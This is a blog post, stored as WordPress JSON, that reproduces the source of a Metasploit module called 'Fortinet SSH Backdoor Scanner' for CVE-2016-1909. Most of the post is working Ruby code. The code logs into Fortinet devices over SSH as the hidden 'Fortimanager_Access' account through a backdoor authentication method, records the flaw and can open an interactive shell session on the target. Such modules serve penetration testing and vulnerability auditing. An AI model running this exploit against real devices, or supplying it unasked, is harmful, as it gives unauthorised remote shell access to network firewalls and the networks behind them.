{"id":59367,"date":"2024-09-01T21:29:51","date_gmt":"2024-09-01T18:29:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181222\/fortinet_backdoor.rb.txt"},"modified":"2024-09-01T21:29:51","modified_gmt":"2024-09-01T18:29:51","slug":"fortinet-ssh-backdoor-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/fortinet-ssh-backdoor-scanner\/","title":{"rendered":"Fortinet SSH Backdoor Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<\/p>\n<p>include Msf::Exploit::Remote::SSH<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::CommandShell<br \/>include Msf::Sessions::CreateSessionOptions<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::ReportSummary<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Fortinet SSH Backdoor Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module scans for the Fortinet SSH backdoor.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;operator8203 &lt;operator8203[at]runbox.com&gt;&#8217;, # PoC<br \/>&#8216;wvu&#8217; # Module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2016-1909&#8217;],<br \/>[&#8216;EDB&#8217;, &#8216;39224&#8217;],<br \/>[&#8216;PACKETSTORM&#8217;, &#8216;135225&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/seclists.org\/fulldisclosure\/2016\/Jan\/26&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/blog.fortinet.com\/post\/brief-statement-regarding-issues-found-with-fortios&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2016-01-09&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>))<\/p>\n<p>register_options([<br \/>Opt::RPORT(22)<br \/>])<\/p>\n<p>register_advanced_options([<br \/>OptBool.new(&#8216;SSH_DEBUG&#8217;, [false, &#8216;SSH debugging&#8217;, false]),<br \/>OptInt.new(&#8216;SSH_TIMEOUT&#8217;, [false, &#8216;SSH timeout&#8217;, 10])<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<br \/>factory = ssh_socket_factory<\/p>\n<p>ssh_opts = ssh_client_defaults.merge({<br \/>port: rport,<br \/># The auth method is converted into a class name for instantiation,<br \/># so fortinet-backdoor here becomes FortinetBackdoor from the mixin<br \/>auth_methods: [&#8216;fortinet-backdoor&#8217;]})<\/p>\n<p>ssh_opts.merge!(verbose: :debug) if datastore[&#8216;SSH_DEBUG&#8217;]\n<p>begin<br \/>ssh = Timeout.timeout(datastore[&#8216;SSH_TIMEOUT&#8217;]) do<br \/>Net::SSH.start(ip, &#8216;Fortimanager_Access&#8217;, ssh_opts)<br \/>end<br \/>rescue Net::SSH::Exception =&gt; e<br \/>vprint_error(&#8220;#{ip}:#{rport} &#8211; #{e.class}: #{e.message}&#8221;)<br \/>return<br \/>end<\/p>\n<p>return unless ssh<\/p>\n<p>print_good(&#8220;#{ip}:#{rport} &#8211; Logged in as Fortimanager_Access&#8221;)<\/p>\n<p>version = ssh.transport.server_version.version<\/p>\n<p>report_vuln(<br \/>host: ip,<br \/>name: self.name,<br \/>refs: self.references,<br \/>info: version<br \/>)<\/p>\n<p>shell = Net::SSH::CommandStream.new(ssh)<\/p>\n<p># XXX: Wait for CommandStream to log a channel request failure<br \/>sleep 0.1<\/p>\n<p>if (e = shell.error)<br \/>print_error(&#8220;#{ip}:#{rport} &#8211; #{e.class}: #{e.message}&#8221;)<br \/>return<br \/>end<\/p>\n<p>info = &#8220;#{self.name} (#{version})&#8221;<\/p>\n<p>ds_merge = {<br \/>&#8216;USERNAME&#8217; =&gt; &#8216;Fortimanager_Access&#8217;<br \/>}<\/p>\n<p>if datastore[&#8216;CreateSession&#8217;]start_session(self, info, ds_merge, false, shell.lsock)<br \/>end<\/p>\n<p># XXX: Ruby segfaults if we don&#8217;t remove the SSH socket<br \/>remove_socket(ssh.transport.socket)<br \/>end<\/p>\n<p>def rport<br \/>datastore[&#8216;RPORT&#8217;]end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliary include Msf::Exploit::Remote::SSHinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::CommandShellinclude Msf::Sessions::CreateSessionOptionsinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::ReportSummary def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Fortinet SSH Backdoor Scanner&#8217;,&#8216;Description&#8217; =&gt; %q{This module scans for the Fortinet SSH backdoor.},&#8216;Author&#8217; =&gt; [&#8216;operator8203 &lt;operator8203[at]runbox.com&gt;&#8217;, # PoC&#8216;wvu&#8217; # Module],&#8216;References&#8217; =&gt; [[&#8216;CVE&#8217;, &#8216;2016-1909&#8217;],[&#8216;EDB&#8217;, &#8216;39224&#8217;],[&#8216;PACKETSTORM&#8217;, &#8216;135225&#8217;],[&#8216;URL&#8217;, &#8216;https:\/\/seclists.org\/fulldisclosure\/2016\/Jan\/26&#8217;],[&#8216;URL&#8217;, &#8216;https:\/\/blog.fortinet.com\/post\/brief-statement-regarding-issues-found-with-fortios&#8217;]],&#8216;DisclosureDate&#8217; =&gt; &#8216;2016-01-09&#8217;,&#8216;License&#8217; =&gt; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59367","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59367","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59367"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59367\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59367"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59367"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59367"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}